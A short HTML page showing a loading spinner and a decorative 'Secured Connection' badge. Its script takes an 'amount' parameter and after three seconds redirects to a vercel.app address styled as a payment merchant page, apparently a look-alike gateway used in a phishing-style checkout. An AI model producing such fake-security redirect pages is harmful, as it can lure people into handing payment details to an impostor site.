<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Loading Spinner</title>
    <style>
        body {
            margin: 0;
            height: 100vh;
            display: flex;
            align-items: center;
            justify-content: center;
            background-color: #f4f4f4;
            font-family: Arial, sans-serif;
            flex-direction: column;
        }

        .spinner {
            width: 50px;
            height: 50px;
            border: 6px solid #e0e0e0;
            border-top: 6px solid #3498db;
            border-radius: 50%;
            animation: spin 1s linear infinite;
        }

        .secure-icon {
            display: flex;
            align-items: center;
            margin-top: 20px;
            font-size: 16px;
            color: #2ecc71;
        }

        .secure-icon svg {
            width: 20px;
            height: 20px;
            margin-right: 8px;
        }

        @keyframes spin {
            0% {
                transform: rotate(0deg);
            }
            100% {
                transform: rotate(360deg);
            }
        }
    </style>
    <script>
        document.addEventListener("DOMContentLoaded", () => {
            const params = new URLSearchParams(window.location.search);
            const amount = params.get('amount');

            if (amount) {
                setTimeout(() => {
                    const targetUrl = `https://portwallet.vercel.app/merchant=pwo/number.html?amount=${amount}`; // Change this URL to your desired link
                    window.location.href = targetUrl;
                }, 3000); // Redirect after 3 seconds
            } else {
                console.error("No 'amount' parameter found in the URL.");
            }
        });
    </script>
</head>
<body>
    <div class="spinner"></div>
    <div class="secure-icon">
        <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke="currentColor">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 11c0-1.105.895-2 2-2h1a2 2 0 012 2v2m-9 0a2 2 0 012-2h6m-6 4a2 2 0 01-2-2v-2a2 2 0 012-2h6a2 2 0 012 2v2a2 2 0 01-2 2H9zm-2 5h10" />
        </svg>
        Secured Connection
    </div>
</body>
</html>
